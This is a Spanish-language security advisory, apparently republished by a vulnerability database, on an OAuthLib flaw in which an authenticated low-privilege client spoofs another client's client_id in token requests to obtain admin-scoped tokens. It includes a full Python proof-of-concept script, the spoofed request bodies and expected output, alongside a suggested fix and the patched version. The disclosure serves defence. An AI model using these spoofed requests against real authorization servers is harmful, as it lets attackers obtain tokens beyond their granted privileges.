OAuthLib: Las concesiones de tokens pueden usar una client_id proporcionada por el atacante para la autorización tras autenticar a un cliente diferente
Resumen
Los controladores de concesión de tokens de OAuthlib pueden autenticar a un cliente mientras autorizan el tipo de concesión y los alcances solicitados utilizando un client_id diferente suministrado por el atacante en el cuerpo de la solicitud.
En los flujos de concesión de tokens afectados, authenticate_client(request) establece request.client con el objeto del cliente autenticado, pero OAuthlib no exige que request.client_id coincida con request.client.client_id. Si el cuerpo de la solicitud ya contiene client_id=..., OAuthlib conserva dicho valor y lo traslada a validate_grant_type() y validate_scopes().
Como consecuencia, un cliente confidencial autenticado con bajos privilegios puede autenticarse como sí mismo, enviar el client_id de otro cliente en el cuerpo de la solicitud de token y provocar que la validación de la concesión y de los alcances se ejecute bajo la identidad de ese otro cliente.
Superficie afectada
La superficie pública afectada es la gestión de los endpoints de tokens de OAuth2 para:
client_credentialspassword/ Resource Owner Password Credentials
El problema concierne a implementaciones de proveedores de OAuthlib donde:
- el atacante dispone de credenciales para un cliente confidencial válido con menores privilegios;
- otro cliente cuenta con concesiones o alcances más amplios;
- el validador de la aplicación utiliza el argumento
client_idpasado por OAuthlib envalidate_grant_type()ovalidate_scopes(), tal como la API deRequestValidatorestá diseñada para admitir.
Aquellas implementaciones cuyos validadores ignoran el argumento client_id y autorizan únicamente a partir de request.client podrían no verse afectadas.
Detalles
Request analiza los parámetros de la consulta y del cuerpo para convertirlos en atributos de solicitud, incluyendo client_id:
El contrato de RequestValidator.authenticate_client() requiere que el integrador autentique al cliente y establezca request.client:
Para la concesión client_credentials, OAuthlib autentica al cliente, comprueba que request.client disponga de un client_id y efectúa la validación de concesión y alcance antes de normalizar request.client_id desde request.client.client_id:
El orden problemático es:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Dado que OAuthlib únicamente completa request.client_id cuando está ausente, un valor suministrado por el atacante en el cuerpo como client_id=high persiste incluso cuando request.client.client_id == "low".
El asistente de concesión compartido procede a autorizar utilizando request.client_id, mientras transmite el objeto del cliente autenticado de forma independiente:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
Esta misma disociación de identidades se presenta en el flujo de credenciales de contraseña del propietario del recurso (Resource Owner Password Credentials). Tras la autenticación del cliente y la validación del usuario, OAuthlib valida la concesión y los alcances antes de reemplazar un request.client_id no presente a partir de request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
Esto produce un estado de identidad inconsistente:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib llama posteriormente a las funciones de autorización de la aplicación con ambos valores, pero utiliza el request.client_id bajo control del atacante como argumento de primer orden para client_id.
Impacto
Un cliente confidencial autenticado con privilegios reducidos puede obtener tokens autorizados bajo la directiva de concesiones y alcances de otro cliente si el validador de la aplicación implementa la API de RequestValidator y autoriza según el argumento client_id.
El impacto concreto puede abarcar:
- la emisión de tokens de acceso con alcances que no corresponden al cliente autenticado;
- permitir que un cliente con bajos privilegios use un tipo de concesión reservado para un cliente con mayores privilegios;
- registrar tokens bajo un
client_idfalsificado mientras el objeto del cliente autenticado es distinto.
Se trata de una omisión de la autorización de tokens y no de un ataque no autenticado. El atacante requiere credenciales válidas para un cliente.
PoC
Cree los siguientes archivos en un directorio vacío.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Ejecute:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Resultado esperado:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
La condición de éxito consiste en que se generen ambas respuestas de token exitosas mientras que el estado guardado del token muestre:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
Esto demuestra que el cliente autenticado es low, mientras que la autorización de la concesión y el alcance empleó el client_id=high suministrado por el atacante.
Mitigación sugerida
Tras el éxito en la autenticación del cliente, OAuthlib debería rechazar la solicitud de token si un client_id explícito en la solicitud está presente y no coincide con request.client.client_id.
Para flujos de clientes confidenciales autenticados, una invariante más segura es:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
Esto debe producirse antes de invocar a validate_grant_type() y validate_scopes().
Informadores:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
Qué hacer
Actualice OAuthLib a la versión 4.0.0 o posterior. En implementaciones personalizadas, rechace las solicitudes de token si el identificador de cliente explícito no coincide con el identificador del cliente autenticado antes de invocar las funciones de validación de concesiones y alcances.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | oauthlib | < 4.0.0 | 4.0.0 |
Referencias
- https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c
- https://nvd.nist.gov/vuln/detail/CVE-2026-118669
- https://github.com/oauthlib/oauthlib/pull/920
- https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d
- https://github.com/oauthlib/oauthlib
- https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N- Debilidad (CWE)
CWE-863- Plataforma
- Python (PyPI)
- Paquete
oauthlib- Publicada
- 30.10.2026
- Actualizado
- 09.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0
Historial de vulnerabilidades: oauthlib
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 5
- Primera → última
- 09.2022 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 3
Divulgaciones por año
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 4
-
OAuthLib: Las concesiones de tokens pueden usar una client_id proporcionada por el atacante para la autorización tras autenticar a un cliente diferente esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.